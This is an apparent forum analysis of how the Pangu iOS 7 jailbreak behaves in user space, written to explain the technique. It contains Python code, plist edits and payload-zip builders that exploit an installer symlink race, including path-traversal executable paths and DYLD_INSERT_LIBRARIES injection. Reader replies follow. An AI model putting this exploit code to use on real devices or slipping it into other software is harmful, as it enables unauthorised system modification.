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[原创]盘古越狱工具在用户空间的行为
2014-9-17 23:03 39029

[原创]盘古越狱工具在用户空间的行为

2014-9-17 23:03
39029
背景知识
    盘古在用户空间主要利用了iOS安装程序的一个漏洞,这里先列出安装一个应用的主要过程:

    整个安装过程分为12个阶段,上图只是列出了起点、终点还是对盘古越狱来说比较重要的阶段。大家注意上图红线所示的时间区间,在这个区间内如果在“Staging Directory”中创建一个符号链接指向沙盒之外,就可以利用解压程序向系统目录写入文件。同时也可以通过控制压缩包中的文件列表,在起始处放一个大文件,从而在解压过程中创建一个符号链接。这是在盘古在安装过程中利用的主要漏洞,后面介绍的盘古在用户空间的行为基本都是围绕这个漏洞。


主要的组件
    盘古主要由四部分组成,:
    1、桌面程序:提供资源,控制越狱流程。
    2、com.pangu.ipa1.ipa:Socket Server,与桌面程序配合制造竞态条件。
    3、pangu.dylib,Socket Server,利用内核漏洞安装Untecher,Cydia等。
    4、pangu.tar,Untecher
    这里主要涉及的是前两个组件,及第三个组件中用户空间相关的部分。


工作流程
说明:为了验证自己的分析是正确的,用Python重新实现了盘古桌面程序的功能,利用盘古的Payload可以实现越狱,下面会在主要阶段给出相应示例代码。
阶段一:安装辅助程序,获取相关资源
1、安装com.pangu.ipa1.ipa
def install_pangu():
    lockdown = LockdownClient()
    afc = AFCClient(lockdown)
    mci = lockdown.startService("com.apple.mobile.installation_proxy")
 
    file_name = "com.pangu.ipa1.ipa"
    afc.set_file_contents("/PublicStaging/" + file_name, open("payload/" + file_name,"rb").read())
    mci.sendPlist({"Command":"Install", "PackagePath": "/PublicStaging/" + file_name})
    while True:
        status =  mci.recvPlist()
        if not status:
            break
        completion = status.get("PercentComplete")
        if completion:
            print "Installing, %s: %s %% Complete" % ("com.pangu.ipa1.ipa", status["PercentComplete"])
        if status.get("Status") == "Complete":
            print "Installation %s\n" % status["Status"]
            break
    mci.close()
    afc.stop_session()
    lockdown.stop_session()

首先利用AFC服务将IPA传到设备上,然后利用 Installation Proxy 安装应用。
2、获取Cache
def download_caches():
    fc = FileRelayClient()
    data = fc.request_sources(["Caches"])
    fc.stop_session()
    if data:
        file_path = "./payload/caches.gz"
        output_path = "./payload/caches"
        open(file_path,"wb").write(data)
        print  "Data saved to:  %s " % file_path
        with open(file_path, "r") as f:
            gz = gzip.GzipFile(mode="rb", fileobj=f)
            cpio = CpioArchive(fileobj=BytesIO(gz.read()))
            cpio.extract_files(files=None,outpath=output_path)
    else:
        print "Fail to get caches"
        raise Exception("Fail to get caches")

调用 FileRelay 服务,获取Cache,主要是从中拿到com.apple.mobile.installation.plist
3、修改 com.apple.mobile.installation.plist
修改是针对盘古程序的,具体修改如下:
CFBundleExecutable = "../../../../../../usr/libexec/lockdownd";
EnvironmentVariables = { DYLD_INSERT_LIBRARIES = "/private/var/mobile/Media/Pangu-Install/pangu.dylib"; };

4、修改盘古程序的Info.plist
CFBundleExecutable = "../../../../../../usr/libexec/lockdownd";

5、构造applicationState.plist
{ "com.pangu.ipa1" = { SBApplicationAutoLaunchForVoIP = :true; }; }

这个会造成盘古程序在设备重启后自动运行。
6、com.apple.LaunchServices-056.csstore 主要是为了更新程序列表
7、com.apple.backboardd.plist 禁用“看门狗”
基于上述文件盘古会构造三个Payload。
def generate_upgrade_bundle1():
    guid_str = get_guid()
    with ZipFile("./payload/upgrade1.zip", "w") as payload:
        payload.write("./payload/upgrade_bundle/bigfile", "/tmp/bigfile")
        payload.write("./payload/upgrade_bundle/com.apple.LaunchServices-056.csstore", "/mobile/Library/Caches/com.apple.LaunchServices-056.csstore")
        payload.write("./payload/upgrade_bundle/com.apple.mobile.installation.plist", "/mobile/Library/Caches/com.apple.mobile.installation.plist")
        payload.write("./payload/upgrade_bundle/applicationState.plist", "/mobile/Library/BackBoard/applicationState.plist")
        payload.write("./payload/upgrade_bundle/com.apple.backboardd.plist", "/mobile/Library/Preferences/com.apple.backboardd.plist")
        payload.write("./payload/upgrade_bundle/Info.plist", "/mobile/Applications/" + guid_str + "/ipa1.app/Info.plist")
 
def generate_upgrade_bundle2():
    # os.remove("./payload/upgrade2.zip")
    guid_str = get_guid()
    with ZipFile("./payload/upgrade2.zip", "w") as payload:
        payload.write("./payload/upgrade_bundle/bigfile", "/tmp/bigfile")
        payload.write("./payload/upgrade_bundle/com.apple.mobile.installation.plist", "/mobile/Library/Caches/com.apple.mobile.installation.plist")

def generate_upgrade_bundle3():
    # os.remove("./payload/upgrade3.zip")
    guid_str = get_guid()
    with ZipFile("./payload/upgrade3.zip", "w") as payload:
        payload.write("./payload/upgrade_bundle/bigfile", "/tmp/bigfile")
payload.write("./payload/upgrade_bundle/com.apple.LaunchServices-056.csstore", "/mobile/Library/Caches/com.apple.LaunchServices-056.csstore")

这个阶段会知道三个程序升级包,供下一阶段使用。
另外,可以简单的理解为:执行完这个阶段就对应着盘古提示用户在手机上启动程序。

阶段二:利用竞态条件安装文件,构造环境执行pangu.dylib
当用户在手机上启动程序后,手机上的App会启动一个Socket Server,等待桌面程序的握手,这个握手的暗语挺有意思。桌面向App发送:PING,App收到后回应桌面:PONG。在握手完成后,盘古开始利用静态条件将如上构造的三个Payload安装到手机上。
具体过程为首先利用安装服务安装升级包,在安装的过程中桌面向App发送starthook,具体hook的内容可以通过调试App确定是创建一个符号链接:

"/private/var/tmp/install_staging.eP7ZzJ/foo_extracted" ---> "/var/"

其中后缀部分会因为每次安装而不同。
示例代码:

def fire_race_condition(lockdown, file_name):
    mci = lockdown.startService("com.apple.mobile.installation_proxy")
    sock = get_sock()
    print "----->PING"
    sock.send("PING")
    msg = sock.recv(4)
    if msg == "PONG":
        print "<-----PONG\n"
    upgrade_pangu(mci, file_name)
    print "----->starthook"
    sock.send("starthook")
    msg = sock.recv(4)
    if msg == "succ":
        print "<-----success\n"
    else:
        print "<-----fail\n"

在完成安装三个Payload之后,盘古会上传文件到Media中的 Pangu-Install目录:
    Cydia.tar
    packagelist.tar
    pangu.dylib
    pangu.tar
    pangu_ex.tar

至此,盘古基本完成了用户空间的行为,在界面上的反应为:盘古会第一次重启设备。
阶段三:利用漏洞安装Untecher,Cydia
设备重启完成后,pangu.dylib会被加载,并启动一个 Socket Server。桌面程序在检测到设备加载后会向 pangu.dylib 发送:55AA,pangu.dylib 接到 55AA后开始安装Untecher、Cydia。
阶段四:清理
在pangu.dylib完成工作后,向桌面程序发送:AA55,桌面程序开始清理临时文件,删除Provisional文件,恢复设备时间等操作。在完成清理操作后,桌面程序会第二次重启设备,至此越狱完成。

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suwey 2014-9-17 23:08
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貌似第一个图挂了
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Mxixihaha 2014-9-17 23:13
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楼主是如何进行这个调试的能说下么...
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xilet 2014-9-18 03:24
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第一个图挂了
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鬼谷子c 1 2014-9-19 10:05
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很好的帖子,来顶一个。
虽然现在搞安卓方面的,但是苹果方面依旧关注着,赞!~
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飘云 1 2014-9-19 10:41
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感谢分析,收下学习了~~
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helyna 2014-9-20 10:49
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楼主写这么明白了,我还是看不懂
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by苏格兰 2014-9-22 01:38
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虽然我看不懂,但是我相信以后肯定火
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wodexinren 2014-9-25 09:15
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看不懂,但要支持下
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jerryxjtu 6 2014-9-25 11:31
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赞一个,要是能告诉我为什么可以实现“向系统目录写入文件”,例如利用哪个系统服务的检测漏洞就完美了。
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whliuwei 2014-10-16 15:49
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这个沙盒漏洞已经被ios8封堵了。
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airbus 2014-11-5 13:00
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这种帖子留名下.哈哈.
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木桩 8 2014-12-2 11:02
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感谢分享!另外希望LZ能介绍下解包和分析的方法

只从Exploits which are used in order to jailbreak 8.x里知道用到了哪几个漏洞,但一些细节找不到。而从头分析iOS8的pangu无从下手

8.0/8.0.1/8.0.2/8.1
Pangu8
an exploit for a bug in /usr/libexec/neagent (source @iH8sn0w)
enterprise certificate (inside the IPA)
a kind of dylib injection into a system process (see IPA)
a dmg mount command (looks like the Developer DMG) (syslog while jailbreaking)
a sandboxing problem in debugserver (CVE-2014-4457)
the same/a similar kernel exploit as used in Pangu (CVE-2014-4461) (source @iH8sn0w)
enable-dylibs-to-override-cache
CVE-2014-4455
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jerryxjtu 6 2014-12-2 11:50
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基础在libimobiledevice
重点在通过lockdown和iOS系统服务通讯
核心在Untecher

太极团队回归 iOS 8.1.1完美越狱发布
据说这个工具木有壳。

我理解可以先编译下libimobiledevice试试,用用下面这些小工具,然后对着源码看看会有帮助。
$ idevice
idevice_id.exe               ideviceimagemounter.exe
idevicebackup.exe            ideviceinfo.exe
idevicebackup2.exe           idevicename.exe
idevicedate.exe              idevicepair.exe
idevicedebug.exe             ideviceprovision.exe
idevicedebugserverproxy.exe  idevicescreenshot.exe
idevicediagnostics.exe       idevicesyslog.exe
ideviceenterrecovery.exe
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木桩 8 2014-12-2 22:42
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感谢指点,我再去看看。希望TaiG导出Payload容易点

找到个很挫的办法,从iPhone里把Media里的东西给复制出来了...
看了下流程,iOS8版本的先是用com.apple.afc将pangu.tar,Cydia.tar等4个tar复制到 Media/Pangu-Install/
然后在 Media/PublicStaging/ 下写入 时间戳.ipa(com.pangu.ipa1.ipa),并用com.apple.mobile.installation_proxy进行安装。
不过因为是已越狱机器,后面就直接跳过mount PublicStaging/staging.dimage等准备工作了。看来要想办法删掉或骗过越狱检查才行
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